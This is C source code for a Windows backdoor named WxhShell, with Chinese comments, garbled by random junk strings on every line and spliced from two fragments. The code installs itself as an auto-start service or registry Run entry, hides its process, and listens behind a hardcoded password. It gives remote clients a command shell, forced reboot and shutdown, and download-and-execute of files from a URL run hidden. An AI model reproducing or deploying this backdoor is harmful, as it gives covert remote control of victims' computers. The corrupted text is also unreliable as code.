  // 关机 lDKyD`WKnZ  
  case 'd': { jVOq/o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?f3R+4  
    if(Boot(SHUTDOWN)) B=%%3V)2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C{nk,j L  
    else { Akc |E!V  
    closesocket(wsh); LH+Bu%s  
    ExitThread(0); 4|5;nxkGm8  
    } \4j_K*V  
    break; 1i.3P$F  
    } }|) N5bGQe  
  // 获取shell 0m.`$nlV-  
  case 's': { <*^|Aj|#  
    CmdShell(wsh); kb"Fw:0  
    closesocket(wsh); q27q/q8  
    ExitThread(0); `EvO^L   
    break; LD NdHG6  
  } FJ!`[.t1AU  
  // 退出 M;3q.0MU  
  case 'x': { pp1Kor  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sUmpf4/  
    CloseIt(wsh); ,?qJAV~>  
    break; ]}l.*v\uK  
    } cV@^<  
  // 离开 rr(kFQ"  
  case 'q': { <vV"abk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a=y%+E'a '  
    closesocket(wsh); X@Zt4)2#  
    WSACleanup(); :8}Qt^p  
    exit(1); Tmu2G/yi  
    break; G,P k3>I'  
        } *\}$,/m['  
  } xW9R -J \W  
  } k'&1,78[l  
mC\<fo-u  
  // 提示信息 ?6ssSjR}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;w]1H&mc*A  
} VSCKWYy  
  } bJ"2|VNH(  
{E)tzBI;^  
  return; }QQl.'  
} 9 ;uw3vI%  
BdU .;_K  
// shell模块句柄 ?G~rYETvw  
int CmdShell(SOCKET sock) bf1$:09  
{ 0LzS #J+  
STARTUPINFO si; CKFr9bT{  
ZeroMemory(&si,sizeof(si)); Iix:Y}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {&D$U'ye  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 76o[qay  
PROCESS_INFORMATION ProcessInfo; ,\3Cq2h  
char cmdline[]="cmd"; Z[Iej:o5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HfP<hQmN'  
  return 0; l?m 3 *  
} r oG<2i F  
b5jD /X4  
// 自身启动模式 | a i#rU  
int StartFromService(void) >QN-K]YLL  
{ 1>OU~A"  
typedef struct U61 LMH  
{ Zm++5b`W/[  
  DWORD ExitStatus; [h' 22 W  
  DWORD PebBaseAddress; IQ~Anp^R  
  DWORD AffinityMask; 8::y5Yv]  
  DWORD BasePriority; Lp}V 94xT  
  ULONG UniqueProcessId; !H c6$  
  ULONG InheritedFromUniqueProcessId; &6Lh>n(  
}   PROCESS_BASIC_INFORMATION; jw\4`NZ]  
ouoIbA9X  
PROCNTQSIP NtQueryInformationProcess; pjV70D8$A  
4$N,|bt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /FW$)w2{j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g26_#4 P  
H|j]uLZ  
  HANDLE             hProcess; '|v<^EH  
  PROCESS_BASIC_INFORMATION pbi; zT/woiyB`  
$/JXI?K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P@5-3]m=  
  if(NULL == hInst ) return 0; r]QeP{  
F/j ; q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0v1~#KCm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +9t{ovF?L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YbWz!.WPe  
`-b{|a J  
  if (!NtQueryInformationProcess) return 0; F >n_k  
Y4,p_6aKJ]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _Fv6S}~Q  
  if(!hProcess) return 0; Oo(xYy  
4z~;4   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [rAi9LSO"  
/J!hKK^k  
  CloseHandle(hProcess); )G]J@36  
/L! =##  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "iK'O =M  
if(hProcess==NULL) return 0; 0lYP!\J3]%  
|rhB@k  
HMODULE hMod; i^ILo,Q  
char procName[255]; RCK*?\m5  
unsigned long cbNeeded; Y}yh6r;i  
3w[uc~f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |@R/JGB^  
&lzCRRnvt  
  CloseHandle(hProcess); tN.BI1nB  
]PL\;[b>  
if(strstr(procName,"services")) return 1; // 以服务启动 U%VFr#  
hmb=_W  
  return 0; // 注册表启动 #zSNDv`  
} h.- o$+Sa  
=bvLMpa  
// 主模块 qf [J-"o  
int StartWxhshell(LPSTR lpCmdLine) `\3RFr  
{ e(DuJ-  
  SOCKET wsl; 0s}gg[lj  
BOOL val=TRUE; {ynI]Wj`L  
  int port=0; v6x jLP;O  
  struct sockaddr_in door; 33hP/p%  
m#6p=E  
  if(wscfg.ws_autoins) Install(); qla=LS\-A+  
b1=! "Y@  
port=atoi(lpCmdLine); E J6|y'  
,~l4-x.,  
if(port<=0) port=wscfg.ws_port; l}g_<  
2#UVpgX?  
  WSADATA data; C^U>{jf !  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OH 88d:  
mwz!7Q   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NcSi%]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w5Ucj*A\  
  door.sin_family = AF_INET; ~_-+Q=3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iZ ;562Mo  
  door.sin_port = htons(port); Q5Mn=  
}1sd<<\`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j zZEP4  
closesocket(wsl); nnd-d+$  
return 1; "88<{xL  
}  .^rs VNG  
Q b5vyV `  
  if(listen(wsl,2) == INVALID_SOCKET) { x:]_z.5  
closesocket(wsl); k)9 pkPl  
return 1; 3|/zlKZz  
} OF! n}.O(  
  Wxhshell(wsl); 6WLq>Jo  
  WSACleanup(); !JjNm*F[  
}\ya6Gi8  
return 0; 0qN?4h)7  
Hegj_FQ  
} 9\6ZdnEKu,  
7 /DDQ  
// 以NT服务方式启动 anUH'mcK*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <a D}Ko(  
{ 0INlo   
DWORD   status = 0; M8FC-zFs  
  DWORD   specificError = 0xfffffff; D CSTp2  
`hU 2Ss~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Iw</X}#\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qu|<1CrZj]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z }P1+Pm  
  serviceStatus.dwWin32ExitCode     = 0;  }_?FmuU  
  serviceStatus.dwServiceSpecificExitCode = 0; z"{Ji{>%=  
  serviceStatus.dwCheckPoint       = 0; ~NwX,-ri  
  serviceStatus.dwWaitHint       = 0; )TkXdA?.  
82=>I*0Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mH4Jl1S&  
  if (hServiceStatusHandle==0) return; .+`Z:{:BC&  
R"JT+m  
status = GetLastError(); "nn>I}jK  
  if (status!=NO_ERROR) !O/(._YB`  
{ Ky[-ZQQo=5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f9b[0L  
    serviceStatus.dwCheckPoint       = 0; 4VlQN$  
    serviceStatus.dwWaitHint       = 0; 77zDHq=  
    serviceStatus.dwWin32ExitCode     = status; *JY2vq  
    serviceStatus.dwServiceSpecificExitCode = specificError; E&2mFg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ADlLodG  
    return; dWDf(SS  
  } )Hlc\Mgy  
2S_7!|j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /AUXO]  
  serviceStatus.dwCheckPoint       = 0;  *4{GI D  
  serviceStatus.dwWaitHint       = 0; 4.i< `'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .c2Zr|X  
} Eza B}BLQ9  
x[eho,6)  
// 处理NT服务事件,比如:启动、停止 ^-pHhh|g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W*NK-F[  
{ sRf?JyB  
switch(fdwControl) \y0uGnmCj  
{ <+${gu?^  
case SERVICE_CONTROL_STOP: Qo \;)  
  serviceStatus.dwWin32ExitCode = 0; %:7fAB,PA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zD}2Zh]  
  serviceStatus.dwCheckPoint   = 0; Oxhc!9F  
  serviceStatus.dwWaitHint     = 0; e8ZMB$byP  
  { j?cE0 hz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m%G:|`f7  
  } b#z{["%Zp  
  return; Y1h)0_0  
case SERVICE_CONTROL_PAUSE: v d}Y$X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mk&`dr  
  break; eZ[O:Wvk:  
case SERVICE_CONTROL_CONTINUE: 3Zeh$DZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bQu1L>c,Uw  
  break; 2n8spLZYGY  
case SERVICE_CONTROL_INTERROGATE: I w-3Z'hOX  
  break; %N }0,a0  
}; pSlosv(6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bB`p-1  
} MZInS:Vj  
@u}1 S1  
// 标准应用程序主函数 Xeo2 < @[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A ^wIsAxT  
{ c$[cDf~  
& e~g}7  
// 获取操作系统版本 ct#3*]  
OsIsNt=GetOsVer(); LU7d\Ch  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z7'C;I  
op]HF4  
  // 从命令行安装 <; (pol|  
  if(strpbrk(lpCmdLine,"iI")) Install(); !uJD hC  
Q(J6;s#b  
  // 下载执行文件 +:&,Ts/  
if(wscfg.ws_downexe) { pAd 8-a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ic_q<Y}  
  WinExec(wscfg.ws_filenam,SW_HIDE); u= u#6%  
} ^dF?MQA<@  
eURj'8o),  
if(!OsIsNt) { :_y}8am;H~  
// 如果时win9x,隐藏进程并且设置为注册表启动 C VyE5w  
HideProc(); vw/L|b7G  
StartWxhshell(lpCmdLine); [Q5>4WY  
} tEXY>=  
else Ckc4U. t|  
  if(StartFromService()) AvS<b3EoN  
  // 以服务方式启动 k&h3"  
  StartServiceCtrlDispatcher(DispatchTable); }pzUHl>  
else =5jng.  
  // 普通方式启动 lQSKY}h  
  StartWxhshell(lpCmdLine); bdUe,2Yin  
$ 3/G)/A  
return 0; Vo2{aK;  
} 3RyB 0 n  
CtO`t5  
U94Tp A6  
O!7v&$]1  
=========================================== A=S_5y  
1D/9lR,  
Y "RjMyQh  
,XJ Xw(LM  
I Y='tw  
O4mSr{HCp  
" oju}0h'1  
W"a%IO%'  
#include <stdio.h> 3+j!{tJ z2  
#include <string.h> a$r<%a6  
#include <windows.h> L(bYG0ZI5C  
#include <winsock2.h> 2# y!(D8  
#include <winsvc.h> V"T48~Ue  
#include <urlmon.h> j(|9>J*,~G  
I#m0n%-[  
#pragma comment (lib, "Ws2_32.lib")  XAb!hc   
#pragma comment (lib, "urlmon.lib") !\ckUMZ\  
^-yEb\\i  
#define MAX_USER   100 // 最大客户端连接数 6ofi8( n[  
#define BUF_SOCK   200 // sock buffer tXgsWG?v[H  
#define KEY_BUFF   255 // 输入 buffer 3{wmKo|_X  
K~ 6[zJ4  
#define REBOOT     0   // 重启 <lBY  
#define SHUTDOWN   1   // 关机 -t:~d:  
GV1SKa  
#define DEF_PORT   5000 // 监听端口 ;MH<T6b  
6/Pw'4H9$  
#define REG_LEN     16   // 注册表键长度 hrRkam !y  
#define SVC_LEN     80   // NT服务名长度 +l " z  
t69C48}15  
// 从dll定义API G{ 9p.Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |H LU5=Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xKl!{A9$w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YF]W<ZpY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k_^| %xJ  
;6T>p  
// wxhshell配置信息 $Z!$E,@c  
struct WSCFG { ve [*t`  
  int ws_port;         // 监听端口 g=T !fF=  
  char ws_passstr[REG_LEN]; // 口令 <]jKpJ{3N  
  int ws_autoins;       // 安装标记, 1=yes 0=no #@*;Y(9Ol  
  char ws_regname[REG_LEN]; // 注册表键名  9z9EK'g  
  char ws_svcname[REG_LEN]; // 服务名 w[bhm$SX]B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^HYrJr$y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P}AfXgr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HX(Z(rcI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m|}};8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <u 'q._m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _h=kjc}[.O  
M+mO4q6  
}; am$-1+iX  
^"g # !  
// default Wxhshell configuration =%}++7#  
struct WSCFG wscfg={DEF_PORT, uTemAIp $u  
    "xuhuanlingzhe", COF_a%  
    1, VOj{&O2c  
    "Wxhshell", l Wa4X#~.  
    "Wxhshell", '_n J DM  
            "WxhShell Service", ^WZcM#~TL  
    "Wrsky Windows CmdShell Service", |)7dh B  
    "Please Input Your Password: ", zj?^,\{A  
  1, I(cy<ey+e  
  "http://www.wrsky.com/wxhshell.exe", >8pmClVvmR  
  "Wxhshell.exe" "o=*f/M  
    }; A1mxM5N  
)@X `B d  
// 消息定义模块 X/5\L.g2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z`?Z1SBt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ) N8 [@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Kn WjP21  
char *msg_ws_ext="\n\rExit."; !yo/ F& 6  
char *msg_ws_end="\n\rQuit."; 'g4t !__  
char *msg_ws_boot="\n\rReboot..."; 1qR[& =/  
char *msg_ws_poff="\n\rShutdown..."; dFu<h   
char *msg_ws_down="\n\rSave to "; ~s :M l  
~F</ s.  
char *msg_ws_err="\n\rErr!"; 'pJ46"D@m  
char *msg_ws_ok="\n\rOK!"; qMk"i@"  
`qNhB\  
char ExeFile[MAX_PATH]; Ux<2!vh  
int nUser = 0; tAPr4n!  
HANDLE handles[MAX_USER]; (&=<UGY(w  
int OsIsNt; _;;'/rs j  
9WJS.\G^  
SERVICE_STATUS       serviceStatus; DPU%4te  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i|@lUXBp  
)CYm/dk  
// 函数声明 )4[Yplo  
int Install(void); Z/|oCwR  
int Uninstall(void); M!{;:m28X!  
int DownloadFile(char *sURL, SOCKET wsh); O3?3XB> <  
int Boot(int flag); 0={@GhjApL  
void HideProc(void); RjII(4Et  
int GetOsVer(void); j2U iZLuV  
int Wxhshell(SOCKET wsl); (-RZ|VdYg  
void TalkWithClient(void *cs); y5td o'Ex  
int CmdShell(SOCKET sock); sd@JQ%O  
int StartFromService(void); 2WP73:'t  
int StartWxhshell(LPSTR lpCmdLine); i.|zKjF'  
'^T Q Ubw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); peA}/Jc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OZ/P@`kN.f  
Pl@3=s!~>~  
// 数据结构和表定义 f{b$Y3  
SERVICE_TABLE_ENTRY DispatchTable[] = (BB&ZUdyv  
{ KxEy N(n  
{wscfg.ws_svcname, NTServiceMain}, SMMV$;O{9  
{NULL, NULL} DNP %]{J  
}; |C\%H R  
*u2pk>y)  
// 自我安装 v4?qI >/  
int Install(void) "kLu]M<  
{ ,[64$=R8  
  char svExeFile[MAX_PATH]; MOiTz L*  
  HKEY key; Ur`jmB  
  strcpy(svExeFile,ExeFile); yFIB/ln:  
?,_$;g  
// 如果是win9x系统,修改注册表设为自启动 VSK!Pc.G}  
if(!OsIsNt) { v<*ga7'S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )FNvtLZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7*!h:rg  
  RegCloseKey(key); j89C~xP6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i\2d1Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cJ6n@\  
  RegCloseKey(key); uxGY/Zf  
  return 0; 7e{w)m:A  
    } 5hVp2 w-  
  } ,a:!"Z^ f  
} \S[7-:Lu^  
else { E>/kNl  
U]Iypl`l  
// 如果是NT以上系统,安装为系统服务 0 i76(2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7J 0=HbH  
if (schSCManager!=0) QKj-"y[  
{ `zr%+  
  SC_HANDLE schService = CreateService r%M.rYLG{  
  ( mkA1Sh{hX>  
  schSCManager, RXMzwk  
  wscfg.ws_svcname, u7rA8u|TO  
  wscfg.ws_svcdisp, eXHk6[%[  
  SERVICE_ALL_ACCESS, XZ@;Tyn0,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lJ+05\pE  
  SERVICE_AUTO_START, P/BWFN1  
  SERVICE_ERROR_NORMAL, e<Hbm  
  svExeFile, _[yBwh  
  NULL, (+@ Lnz\  
  NULL, r<Il;?S6  
  NULL, &P+7Um(  
  NULL, E%R^ kqqr  
  NULL $1QQidB  
  ); C'HW`rh.^  
  if (schService!=0) dQ4VpR9|;  
  { 0P(U^rkR~  
  CloseServiceHandle(schService); /H_,1Fu|  
  CloseServiceHandle(schSCManager); ~16QdwK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0K\Xxo.=  
  strcat(svExeFile,wscfg.ws_svcname); orGNza"A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6$1dd#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ohK_~  
  RegCloseKey(key); >^cP]gG Y  
  return 0; %SV5 PO@  
    } \q2#ef@2  
  } CNC3">Dk~9  
  CloseServiceHandle(schSCManager); {-(}p+;z  
} ZI'MfkEZ*  
} MXS N <  
}gk37_}X\I  
return 1; l 8I`%bu  
} d$>TC(E=t  
YCJ6an  
// 自我卸载 ^DL}J>F9G  
int Uninstall(void) }GIwYh/  
{ UL81x72O  
  HKEY key; JArSJ:}  
OnNWci|7  
if(!OsIsNt) { #~A(%a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KeU|E<|!  
  RegDeleteValue(key,wscfg.ws_regname); ,o $F~KPu  
  RegCloseKey(key); e rz9CX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "<c^`#CWuO  
  RegDeleteValue(key,wscfg.ws_regname); <a)B5B>  
  RegCloseKey(key); "}_b,5lkGK  
  return 0; 'z=WJV;Vs  
  } T3HAr9i%)  
} ff.(X!  
} T#;W5<"  
else { #) eI]  
Fai_v{&?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k lLhi<*  
if (schSCManager!=0) p.{M sn  
{ Gp0H[-oF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZLsfF =/G  
  if (schService!=0) ^ olaq(z  
  { fE1B1j<  
  if(DeleteService(schService)!=0) { 6jv_j[[  
  CloseServiceHandle(schService); AJk0jh\.j%  
  CloseServiceHandle(schSCManager); dGxk ql  
  return 0; )tH.P: 1~,  
  } J~=bW\^I  
  CloseServiceHandle(schService); +_.k\CRms  
  } :}QBrd  
  CloseServiceHandle(schSCManager); BCDmce`=l  
} $XBn:0U  
} tUS)1*{_  
]V|rOtxb  
return 1; 3 [R<JrO  
} H .F-mm  
zV)(i<Q  
// 从指定url下载文件 K gN=b  
int DownloadFile(char *sURL, SOCKET wsh) RrFq"  
{ Rne#z2Ok  
  HRESULT hr; D?+\"lI  
char seps[]= "/"; ~SI`%^L  
char *token; !VaKq_W  
char *file; 'q158x  
char myURL[MAX_PATH]; F.zx]][JV  
char myFILE[MAX_PATH]; _|f1q  
4 &r5M  
strcpy(myURL,sURL); c$Vu/dgx  
  token=strtok(myURL,seps); sK)fEx  
  while(token!=NULL) 20 <$f  
  { G`n|fuv  
    file=token; LAe>XF-5  
  token=strtok(NULL,seps); N$\'X<{  
  } Wo&WO e  
=mVWfFL  
GetCurrentDirectory(MAX_PATH,myFILE); 7_OC&hhL  
strcat(myFILE, "\\"); ^!Y]l  
strcat(myFILE, file); MQs!+Z"m>  
  send(wsh,myFILE,strlen(myFILE),0); #Tc]L<."  
send(wsh,"...",3,0); 8fV.NCyE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o1Bn^ w  
  if(hr==S_OK) =>? ;Iv'Z  
return 0; j@N z  
else CSKOtqKQ)  
return 1; u/wWP4'$J@  
w}8 ,ICL  
} 5yOIwzr&Uu  
eAU0 8gM.  
// 系统电源模块 0P{^aSxTP  
int Boot(int flag) U2v;[>=]  
{ [HRry2#s  
  HANDLE hToken; $|kq{@<  
  TOKEN_PRIVILEGES tkp; ^Rr!YnEN  
 ?cG~M|@  
  if(OsIsNt) { zKh^BwhO|X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i-.]onR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); myq@X(K  
    tkp.PrivilegeCount = 1; s$%t*T2J>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R07]{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cTC -cgp  
if(flag==REBOOT) { +8<|P&fH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )b%t4~7  
  return 0; ^T?zR7r  
} KT5amct  
else { _xKIp>A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7+N0$0w%r  
  return 0;  lu_kir~  
} 2 m"2>gX  
  } ;mT|0&o>#  
  else { *B4?(&0  
if(flag==REBOOT) { 'E\/H17  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .Us)YVbk  
  return 0; HZINsIm!?  
} -_*ux!  
else { 0W_olnZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2X X-  
  return 0; ]\ ~s83?X  
} u%t/W0xi  
} r\PO?1  
ZVelKI8>  
return 1; ABx< Ep6  
} ojc m%yd  
n-"(lWcp  
// win9x进程隐藏模块 >PY Lk{q  
void HideProc(void) ?|i C-7{8L  
{ qjBF]3%t%  
Wg!<V6}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c-`'`L^J  
  if ( hKernel != NULL ) ?[Sac]h ys  
  { 0 ~a9gBG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 00 9[`Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XRl!~Y|  
    FreeLibrary(hKernel); r,43 gg  
  } 0hN gr'  
T'ko =k  
return; /` ;rlH*  
} ;L*Ku'6Mt  
+$uQ_ve  
// 获取操作系统版本 .4[\%r\i  
int GetOsVer(void) _J,lF-,  
{ #\zC|%2+z  
  OSVERSIONINFO winfo; Z|#G+$"QV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h tuYctu`  
  GetVersionEx(&winfo); :5'8MU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |F}6Zv  
  return 1; 4)Bk:K  
  else .5^7Jwh  
  return 0; i5*BZv>e  
} ]/#3 P  
yI{4h $c  
// 客户端句柄模块 `o4%UkBpM  
int Wxhshell(SOCKET wsl) N,3 )`Vm  
{ DqJzsk'd3  
  SOCKET wsh; "C]v   
  struct sockaddr_in client; qo*%S  
  DWORD myID; B*@0l:  
S4Q fx6:~h  
  while(nUser<MAX_USER) UfkQG`G9H  
{ NiSybyR$  
  int nSize=sizeof(client); _x`oab0@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8{- *Q(=/  
  if(wsh==INVALID_SOCKET) return 1; \H4$9lPk  
V;LV),R?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b Y2:g )  
if(handles[nUser]==0) F"^/R  
  closesocket(wsh); Ja7yq{j  
else \Dx;AKs  
  nUser++; y$K[ArqX  
  } gWIb"l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Im!fZ g  
O<`N0  
  return 0; }~#Tsv  
} o)L)|  
 ~LF/wx>  
// 关闭 socket HkQ rij6  
void CloseIt(SOCKET wsh) =c ;.cW  
{ I_s*pT  
closesocket(wsh); 4n0Iw  I  
nUser--; -NPX;e$<  
ExitThread(0); ="('  #o  
} GK`U<.[c  
0 K(&EpVE  
// 客户端请求句柄 MP|$+yuR~  
void TalkWithClient(void *cs) s?Z{LWZ@  
{ XS(Q)\"  
.)c+gyaQ  
  SOCKET wsh=(SOCKET)cs; M^&^g  
  char pwd[SVC_LEN]; 2 {xf{)hO?  
  char cmd[KEY_BUFF]; ?~3Pydrb#  
char chr[1]; ^2`*1el  
int i,j; v ;nnr0;  
U?xa^QVhj  
  while (nUser < MAX_USER) { C <d]0)  
n[gc`#7|{e  
if(wscfg.ws_passstr) { Ez+8B|0P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NydF'N_1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); no,b_0@N  
  //ZeroMemory(pwd,KEY_BUFF); {Rz(0oD\  
      i=0; O?f?{Jsx  
  while(i<SVC_LEN) { u\3=m%1  
-`CE;  
  // 设置超时 A~ @x8  
  fd_set FdRead; pG^>y0  
  struct timeval TimeOut; uC|bC#;  
  FD_ZERO(&FdRead); 2Ah B)8bG  
  FD_SET(wsh,&FdRead); ew&"n2r  
  TimeOut.tv_sec=8; cS%;JV>C  
  TimeOut.tv_usec=0; a] P0PH~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J(5#fo{Q.g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T2}X~A  
=<X4LO)C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XC!Y {lp  
  pwd=chr[0]; }E^k*S  
  if(chr[0]==0xd || chr[0]==0xa) { !PfdY&.)  
  pwd=0; Y;{(?0 s  
  break; Ce:w^P+  
  } $#-O^0D  
  i++; Z_4|L+i<{  
    } avY<~-44B  
.naSK`J,`  
  // 如果是非法用户,关闭 socket 7 &iav2q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J|u_45<  
} 1oI2  
Z4dl'v)9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +W"DN5UV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BUUc9&f3o  
=@P]eK/  
while(1) { lvH} 8 lJ  
G4^6o[x  
  ZeroMemory(cmd,KEY_BUFF); i|xC#hV  
0D/7X9xg9+  
      // 自动支持客户端 telnet标准   g~XR#vl$  
  j=0; |qf ef &  
  while(j<KEY_BUFF) { bh+m_$X~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pB0 SCS*  
  cmd[j]=chr[0]; OCu/w1 bc  
  if(chr[0]==0xa || chr[0]==0xd) { EGzlRSgO  
  cmd[j]=0; fLZ99?J  
  break; D%= j@  
  } >J_(~{-sNG  
  j++; 1cS*T>`  
    } };g<|v*o  
t{e}3}LEd  
  // 下载文件 ujr"_ofI  
  if(strstr(cmd,"http://")) { $lg{J$ h8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ))6YOc  
  if(DownloadFile(cmd,wsh)) ?>NX}~2cf  
